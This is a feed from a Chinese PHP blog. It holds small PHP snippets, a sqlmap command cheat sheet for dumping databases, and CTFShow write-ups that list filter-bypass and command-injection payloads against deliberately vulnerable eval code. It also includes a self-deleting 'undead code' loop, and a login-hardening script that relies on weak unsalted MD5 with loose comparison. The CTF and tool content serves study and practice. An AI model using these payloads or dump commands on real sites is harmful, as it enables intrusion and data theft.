哀.net - PHP
type: channel
link: https://xn--ivr.net/index.php/tag/PHP/
items: [php]随机一言
items: SHERRY'S 网页WAF
items: PHP-流量监控
items: PHP-不死码
items: PHP------图片API劫持
items: PHP------网站后台加固
items: PHP------防止DDos和CC攻击
items: SQLMAP------使用与技巧
items: CtfShow------php特性
items: CtfShow------命令执行

[php]随机一言
type: item
date: 2024-09-30T03:03:00+00:00
description: #<?php #// 一言数组 #$one_liners = array( "生活就像海洋，只有意志强大的人才能做到适应。", "不要让恐惧控制你的生活，控制恐惧的是你。", "生活不是单行路，每条路都通向爱与理解。", "真正的勇敢不是无所畏惧，而是挑战恐惧。", "生活不会按预期进行，但你可以按你的意愿去改变它。", "有些路看似很近，走去却很远，缺少耐心永远走不到头。", "幸福不会自己来临，它是需要我们去追求的。", "痛苦是成长的一部分，接受它，你会变得更强大。", "即使明天是世界末日，也要好好度过今天。", "不要迷失在别人的期待中，找到自己的路去走。", "命运不是机遇，而是选择。", "与其逃避痛苦，不如迎难而上。", "你的梦想只有你能守护，别人不能替你实现。", "所有的相遇都是命中注定的。", "勇敢并不意味着没有恐惧，而是面对恐惧。", "每个人的心里都有一道墙，推开它就会发现光明。", "追逐梦想的路上，哪怕跌倒也要爬起来。", "生活就像一场旅行，重要的不是终点，而是沿途的风景。", "失败只是成功的一部分，不要害怕失败。", "越是艰难的道路，越能磨练人的意志。", "活着就意味着不断地挑战自我。", "梦想不会自动实现，它需要努力和坚持。", "时间不会等你，抓紧每分每秒。", "有时候，放手比坚持更需要勇气。", "失去并不可怕，可怕的是失去之后的无所作为。", "每个人都有属于自己的使命，要努力去完成它。", "即使再艰难的旅途，也有美丽的风景。", "不要把今天的希望寄托在明天的空想中。", "每个人的心中都有一束光，照亮自己前行的路。", "人总是要为自己负责的，选择了就要坚持下去。", "现实虽然残酷，但我们仍然要对未来抱有希望。", "不要害怕改变，变化是生活的一部分。", "人生如戏，关键是你扮演什么角色。", "无论多么困难的事，只要心中有梦想，就能坚持下去。", "我们不能预见未来，但我们可以选择如何面对它。", "只要心中有光，哪怕身处黑暗也不会迷失。", "痛苦只是暂时的，坚持下去，光明终会到来。", "没有人能够一帆风顺，但每一次跌倒都是新的起点。", "人生中最大的敌人是自己，战胜自己就是最大的胜利。", "即使遇到再大的困难，也不要轻言放弃。", "每个人都有自己独特的光芒，不要让别人来定义你。", "无论如何，永远不要失去对生活的热爱。", "人生是一场马拉松，不在乎一时的得失。", "梦想是指引我们前进的灯塔，没有梦想，生活将变得黯淡。", "无论前路多么黑暗，只要不放弃，总能找到光明。", "每一次失败都是通往成功的阶梯。", "我们无法选择出身，但我们可以选择如何面对人生。", "生命中最重要的不是我们得到了什么，而是我们付出了什么。", "真正的强者不是没有眼泪，而是带着眼泪继续前行。", "每个生命都有自己的意义，不要轻易否定自己。" ); // 随机索引 #$index = array_rand($one_liners); // 输出随机一言，带有五彩字体并居中 echo " {$one_liners[$index]} "; ?>

SHERRY'S 网页WAF
type: item
date: 2024-08-09T09:44:00+00:00
description: 新一代轻量化网页软WAF介绍支持web管理 黑名单 白名单 IP限制支持关键字过滤(需要自行选择)支持防御轻量DDOS更新日志：1.1：修复了服务器前使用其他waf和cdn后获取IP错误的情况1.2：优化了管理界面并加入了验证码功能Github

PHP-流量监控
type: item
date: 2024-08-05T04:43:00+00:00
description: #<?php #function a() #{ # $raw=''; # $raw.=$_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n" ; # foreach($_SERVER as $key => $value) # { # if(substr($key,0,5)==='HTTP_') # { # $key=substr($key,5); # $raw.=$key . ' : ' . $value . "\r\n"; # } # } # $raw.="\r\n"; # $raw.=file_get_contents('php://input'); # return $raw; #} #function b() #{ # $data=date("Y/m/d H:i:s") . "\r\n" . a() . "\r\n\r\n"; # $f=fopen("/tmp/logs.txt","a"); # fwrite($f,$data); # fclose($f); #} #b(); #?>

PHP-不死码
type: item
date: 2024-08-01T10:19:00+00:00
description: #<?php #ignore_user_abort(true); #set_time_limit(0); #unlink(__FILE__); #$file = './.config.php'; #while (1){ # unlink($file); # usleep(0); #} #?>

PHP------图片API劫持
type: item
date: 2023-03-10T08:10:00+00:00
description: <?php $ch= curl_init(); $timeout= 5; curl_setopt ($ch, CURLOPT_URL, 'https://api.xxx.xxx/xxx'); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents= curl_exec($ch); curl_close($ch); preg_match('/https?:\/{2}[-A-Za-z0-9+&@#\/\%?=~_|!:,.;]+[-A-Za-z0-9+&@#\/\%=~_|]/i',$file_contents, $matches); $url = $matches[0]; echo" "; ?>

PHP------网站后台加固
type: item
date: 2023-02-28T08:13:00+00:00
description: htpasswd -c /path/to/.htpasswd username <?php $htpasswd = '/path/to/.htpasswd'; // .htpasswd文件的路径 $realm = 'Restricted Area'; // 认证区域的名称 // 认证用户 function authenticate() { header('WWW-Authenticate: Basic realm="' . $GLOBALS['realm'] . '"'); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } // 检查认证信息 if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { authenticate(); } else { $fp = fopen($GLOBALS['htpasswd'], 'r'); while (!feof($fp)) { $line = trim(fgets($fp)); if (!empty($line)) { list($user, $pass) = explode(':', $line); if ($_SERVER['PHP_AUTH_USER'] == $user && md5($_SERVER['PHP_AUTH_PW']) == $pass) { fclose($fp); exit; } } } fclose($fp); authenticate(); } ?>

PHP------防止DDos和CC攻击
type: item
date: 2023-02-28T06:38:00+00:00
description: <?php session_start(); $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; // 1. 从文件中读取黑名单IP地址 $blacklist_file = fopen("/blacklist.txt", "r"); $blacklist = array(); while (($line = fgets($blacklist_file)) !== false) { $blacklist[] = trim($line); } fclose($blacklist_file); // 将攻击者IP地址添加到黑名单中 if (in_array($_SERVER['REMOTE_ADDR'], $blacklist)) { die("停下您的攻击,您已被禁止访问！"); } // 2. 访问频率限制 $count = 0; $time = time() - 180; // 限制3分钟内的访问频率 $req_count_diff = 0; // 记录请求次数的变量 // 检查来自同一IP地址的请求频率 $access_log = file("/log"); foreach ($access_log as $line) { $tokens = explode(" ", $line); $timestamp = strtotime($tokens[3]); if (($tokens[0] == $ip) && ($timestamp > $time)) { $count++; $req_count_diff++; } } // 如果访问频率超过限制，则延迟3秒 if ($count > 100) { sleep(3); } // 3. 用户行为分析 if ($_SESSION['last_request']) { $last_request = $_SESSION['last_request']; $req_count_diff = $req_count_diff - $last_request['req_count']; $ua_diff = strcmp($last_request['user_agent'], $user_agent); // 如果请求异常，则将IP地址添加到黑名单中 if (($ua_diff !== 0) || ($req_count_diff >= 100)) { $blacklist_file = fopen("/blacklist.txt", "a"); fwrite($blacklist_file, "$ip\n"); fclose($blacklist_file); die("Your IP address has been banned from accessing this website."); } } // 记录最后一个请求 $_SESSION['last_request'] = array( "req_count" => $req_count_diff, "user_agent" => $user_agent ); // 正常的页面渲染代码 echo "Hello, World!"; ?>

SQLMAP------使用与技巧
type: item
date: 2023-02-27T05:48:00+00:00
description: 仅供学习参考，禁止用于其他非法途径常用指令:sqlmap url --dbs //爆数据库名 sqlmap url -D 数据库名 --tables //爆表名 sqlmap url -D 数据库名 -T 表名 --columns //爆字段 sqlmap url -D 数据库名 -T 表名 -C 字段名 --dump //结束 sqlmap -r 文件名 //burpsuit抓包保存文件全部指令: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT Connection string for direct database connection -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file -m BULKFILE Scan multiple targets given in a textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL -A AGENT, --user.. HTTP User-Agent header value -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") --method=METHOD Force usage of given HTTP method (e.g. PUT) --data=DATA Data string to be sent through POST (e.g. "id=1") --param-del=PARA.. Character used for splitting parameter values (e.g. &) --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --cookie-del=COO.. Character used for splitting cookie values (e.g. ;) --live-cookies=L.. Live cookies file used for loading up-to-date values --load-cookies=L.. File containing cookies in Netscape/wget format --drop-set-cookie Ignore Set-Cookie header from response --mobile Imitate smartphone through HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header value --host=HOST HTTP Host header value --referer=REFERER HTTP Referer header value --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials…

CtfShow------php特性
type: item
date: 2023-02-26T09:20:00+00:00
description: 仅供学习参考，禁止用于其他非法途径WEB-89<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }数组绕过payload:?num[]=1WEB-90<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }换行绕过payload:?num=%0a4476WEB-91<?php show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }换行绕过payload:?cmd=%0aphpWEB-92<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }十六进制绕过payload:?num=0x117cWEB-93<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }八进制绕过payload:?num=010574WEB-94<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }换行绕过+八进制绕过payload:?num=%0a010574WEB-95<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }换行绕过+八进制绕过payload:?num=%0a010574WEB-96<?php highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }文件包含pa…

CtfShow------命令执行
type: item
date: 2023-02-26T09:08:00+00:00
description: 仅供学习参考，禁止用于其他非法途径WEB-29<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤flagpayload:?c=echo%20`nl%20f*`;WEB-30<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤flag,system,phppayload:?c=echo%20`nl%20f*`;WEB-31<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤了空格payload:?c=echo%09`nl%09f*`;WEB-32<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤了echopayload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-33<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-34<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-35<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-36<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }els…